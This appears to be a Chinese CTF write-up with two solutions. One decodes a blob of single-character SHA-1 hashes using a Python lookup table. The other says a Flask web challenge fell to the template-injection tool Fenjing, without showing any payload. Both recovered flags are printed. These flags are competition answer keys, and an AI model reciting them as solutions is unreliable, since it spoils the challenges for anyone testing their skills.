1c0d563223024da45691584643ac78c96e85c10b5b2cd673a0616d529aa5234b12ee71538084a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241b60ba4b2daa4ed4d070fec06687e249e0e6f9ee4554fd1711209fb1c0781092374132c66e79e2241b86f7e437faa5a7fce15d1ddcb9eaeaea377667b86b0d31c0d563223024da45691584643ac78c96e858e6b3a414a1e090dfc6029add0f3555ccba127f53a0acfad59379b3e050338bf9f23cfc172ee78784a516841ba77a5b4648de2cd0dfcb30ea46dbb422ea1c649c82946aa6e479e1ffd321e4a318b1b0e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f9853a0acfad59379b3e050338bf9f23cfc172ee787042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae3042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae353a0acfad59379b3e050338bf9f23cfc172ee78784a516841ba77a5b4648de2cd0dfcb30ea46dbb411f6ad8ec52a2984abaafd7c3b516503785c207295cb0bfd2977c761298d9624e4b4d4c72a39974a395df8f7c51f007019cb30201c49e884b46b92fac2b7df6201fdd3362399091f0a29550df3505b6a3a52ce780950d4d969792a2559cd519d7ee8c72786f7e437faa5a7fce15d1ddcb9eaeaea377667b8a0f1490a20d0211c997b44bc357e1972deab8ae33c363836cf4e16666669a25da280a1865c2d28744a0a19218e082a343a1b17e5333409af9d98f0f554fd1711209fb1c0781092374132c66e79e2241b27d5482eebd075de44389774fce28c69f45c8a755c2dd944dde9e08881bef0894fe7b22a5c9c4b0613fbd79c3d390e5d6585a21e11ff5ec1970cff0c07c342be6e560e7f43842e2e21b774e61d85f047395df8f7c51f007019cb30201c49e884b46b92fa11f6ad8ec52a2984abaafd7c3b516503785c207284a516841ba77a5b4648de2cd0dfcb30ea46dbb47a38d8cbd20d9932ba948efaa364bb62651d5ad4e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98d1854cae891ec7b29161ccaf79a24b00c274bdaa6b0d31c0d563223024da45691584643ac78c96e85c10b5b2cd673a0616d529aa5234b12ee71538083a52ce780950d4d969792a2559cd519d7ee8c72722ea1c649c82946aa6e479e1ffd321e4a318b1b0aff024fe4ab0fece4091de044c58c9ae4233383a58e6b3a414a1e090dfc6029add0f3555ccba127f4dc7c9ec434ed06502767136789763ec11d2c4b78efd86fb78a56a5145ed7739dcb00c78581c537595cb0bfd2977c761298d9624e4b4d4c72a39974a51e69892ab49df85c6230ccc57f8e1d1606caccc042dc4512fa3d391c5170cf3aa61e6a638f843427a81af3e591ac713f81ea1efe93dcf36157d8376516b9783fca517eecbd1d064da2d165310b197594a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241b60ba4b2daa4ed4d070fec06687e249e0e6f9ee45d1854cae891ec7b29161ccaf79a24b00c274bdaa7a81af3e591ac713f81ea1efe93dcf36157d837653a0acfad59379b3e050338bf9f23cfc172ee787042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae353a0acfad59379b3e050338bf9f23cfc172ee7874a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241bc2b7df6201fdd3362399091f0a29550df3505b6a356a192b7913b04c54574d18c28d46e6395428abda4b9237bacccdf19c0760cab7aec4a8359010b077de68daecd823babbb58edb1c8e14d7106e83bb1b6453892473a467d07372d45eb05abc2031647aac3478d69a3c81fa62e60f5c3696165a4e5e6ac4c1dfd96eea8cc2b62785275bca38ac261256e278902ba3cda1883801594b6e1b452790cc53948fdafe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f0ade7c2cf97f75d009975f4d720d1fa6c19f4897b6589fc6ab0dc82cf12099d1c2d40ab994e8410c3bc15c8aae3e4124dd409035f32ea2fd6835efc921606782c65e44cac7afbb90977d8b6f82140e76

看了下题目描述猜测这些是哈希值,搜了下356a192b7913b04c54574d18c28d46e6395428ab发现是SHA-1,附上免费的转换网站

2024cqgames2-20

大胆猜测每一行就代表一个字符,flag就藏在里面

然后针对常用的字符做一个彩虹表,查表拼接起来就好了(后来发现只用到了数字、小写字母和_{}

python
# 哈希值列表hashes_string = """356a192b7913b04c54574d18c28d46e6395428abda4b9237bacccdf19c0760cab7aec4a8359010b077de68daecd823babbb58edb1c8e14d7106e83bb1b6453892473a467d07372d45eb05abc2031647aac3478d69a3c81fa62e60f5c3696165a4e5e6ac4c1dfd96eea8cc2b62785275bca38ac261256e278902ba3cda1883801594b6e1b452790cc53948fdafe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f0ade7c2cf97f75d009975f4d720d1fa6c19f4897b6589fc6ab0dc82cf12099d1c2d40ab994e8410c3bc15c8aae3e4124dd409035f32ea2fd6835efc921606782c65e44cac7afbb90977d8b6f82140e7622ea1c649c82946aa6e479e1ffd321e4a318b1b0aff024fe4ab0fece4091de044c58c9ae4233383a58e6b3a414a1e090dfc6029add0f3555ccba127f4dc7c9ec434ed06502767136789763ec11d2c4b78efd86fb78a56a5145ed7739dcb00c78581c537595cb0bfd2977c761298d9624e4b4d4c72a39974a51e69892ab49df85c6230ccc57f8e1d1606caccc042dc4512fa3d391c5170cf3aa61e6a638f843427a81af3e591ac713f81ea1efe93dcf36157d8376516b9783fca517eecbd1d064da2d165310b197594a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241b60ba4b2daa4ed4d070fec06687e249e0e6f9ee45d1854cae891ec7b29161ccaf79a24b00c274bdaa7a81af3e591ac713f81ea1efe93dcf36157d837653a0acfad59379b3e050338bf9f23cfc172ee787042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae353a0acfad59379b3e050338bf9f23cfc172ee7874a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241bc2b7df6201fdd3362399091f0a29550df3505b6a86f7e437faa5a7fce15d1ddcb9eaeaea377667b8a0f1490a20d0211c997b44bc357e1972deab8ae33c363836cf4e16666669a25da280a1865c2d28744a0a19218e082a343a1b17e5333409af9d98f0f554fd1711209fb1c0781092374132c66e79e2241b27d5482eebd075de44389774fce28c69f45c8a755c2dd944dde9e08881bef0894fe7b22a5c9c4b0613fbd79c3d390e5d6585a21e11ff5ec1970cff0c07c342be6e560e7f43842e2e21b774e61d85f047395df8f7c51f007019cb30201c49e884b46b92fa11f6ad8ec52a2984abaafd7c3b516503785c207284a516841ba77a5b4648de2cd0dfcb30ea46dbb47a38d8cbd20d9932ba948efaa364bb62651d5ad4e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98d1854cae891ec7b29161ccaf79a24b00c274bdaa6b0d31c0d563223024da45691584643ac78c96e85c10b5b2cd673a0616d529aa5234b12ee71538084a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241b60ba4b2daa4ed4d070fec06687e249e0e6f9ee4554fd1711209fb1c0781092374132c66e79e2241b86f7e437faa5a7fce15d1ddcb9eaeaea377667b86b0d31c0d563223024da45691584643ac78c96e858e6b3a414a1e090dfc6029add0f3555ccba127f53a0acfad59379b3e050338bf9f23cfc172ee78784a516841ba77a5b4648de2cd0dfcb30ea46dbb422ea1c649c82946aa6e479e1ffd321e4a318b1b0e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f9853a0acfad59379b3e050338bf9f23cfc172ee787042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae3042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae353a0acfad59379b3e050338bf9f23cfc172ee78784a516841ba77a5b4648de2cd0dfcb30ea46dbb411f6ad8ec52a2984abaafd7c3b516503785c207295cb0bfd2977c761298d9624e4b4d4c72a39974a395df8f7c51f007019cb30201c49e884b46b92fac2b7df6201fdd3362399091f0a29550df3505b6a3a52ce780950d4d969792a2559cd519d7ee8c72786f7e437faa5a7fce15d1ddcb9eaeaea377667b8a0f1490a20d0211c997b44bc357e1972deab8ae33c363836cf4e16666669a25da280a1865c2d28744a0a19218e082a343a1b17e5333409af9d98f0f554fd1711209fb1c0781092374132c66e79e2241b27d5482eebd075de44389774fce28c69f45c8a755c2dd944dde9e08881bef0894fe7b22a5c9c4b0613fbd79c3d390e5d6585a21e11ff5ec1970cff0c07c342be6e560e7f43842e2e21b774e61d85f047395df8f7c51f007019cb30201c49e884b46b92fa11f6ad8ec52a2984abaafd7c3b516503785c207284a516841ba77a5b4648de2cd0dfcb30ea46dbb47a38d8cbd20d9932ba948efaa364bb62651d5ad4e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98d1854cae891ec7b29161ccaf79a24b00c274bdaa6b0d31c0d563223024da45691584643ac78c96e85c10b5b2cd673a0616d529aa5234b12ee71538083a52ce780950d4d969792a2559cd519d7ee8c72722ea1c649c82946aa6e479e1ffd321e4a318b1b0aff024fe4ab0fece4091de044c58c9ae4233383a58e6b3a414a1e090dfc6029add0f3555ccba127f4dc7c9ec434ed06502767136789763ec11d2c4b78efd86fb78a56a5145ed7739dcb00c78581c537595cb0bfd2977c761298d9624e4b4d4c72a39974a51e69892ab49df85c6230ccc57f8e1d1606caccc042dc4512fa3d391c5170cf3aa61e6a638f843427a81af3e591ac713f81ea1efe93dcf36157d8376516b9783fca517eecbd1d064da2d165310b197594a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241b60ba4b2daa4ed4d070fec06687e249e0e6f9ee45d1854cae891ec7b29161ccaf79a24b00c274bdaa7a81af3e591ac713f81ea1efe93dcf36157d837653a0acfad59379b3e050338bf9f23cfc172ee787042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae353a0acfad59379b3e050338bf9f23cfc172ee7874a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241bc2b7df6201fdd3362399091f0a29550df3505b6a356a192b7913b04c54574d18c28d46e6395428abda4b9237bacccdf19c0760cab7aec4a8359010b077de68daecd823babbb58edb1c8e14d7106e83bb1b6453892473a467d07372d45eb05abc2031647aac3478d69a3c81fa62e60f5c3696165a4e5e6ac4c1dfd96eea8cc2b62785275bca38ac261256e278902ba3cda1883801594b6e1b452790cc53948fdafe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f0ade7c2cf97f75d009975f4d720d1fa6c19f4897b6589fc6ab0dc82cf12099d1c2d40ab994e8410c3bc15c8aae3e4124dd409035f32ea2fd6835efc921606782c65e44cac7afbb90977d8b6f82140e76""" import hashlib # 定义字符集charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{}\\|;:\'\",.<>/?' # 创建字符到哈希值的映射hash_to_char = {}for char in charset:    # 计算每个字符的SHA-1哈希值    hash_object = hashlib.sha1(char.encode())    hex_dig = hash_object.hexdigest()    hash_to_char[hex_dig] = char # 使用splitlines()方法将字符串按行分割成列表provided_hashes = hashes_string.splitlines() result = []for hash_value in provided_hashes:    # 检查哈希值是否存在于映射中    if hash_value in hash_to_char:        result.append(hash_to_char[hash_value])    else:        result.append('⬛') # 不在映射中的哈希值用黑色方块占位 print("".join(result))

运行得到结果1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=

flag
flag{game_cqb_isis_cxyz}

Web

easy_flask

焚靖秒了

2024cqgames2-21

flag
flag{48ad0cde8345c8b2608933ac4e85147e}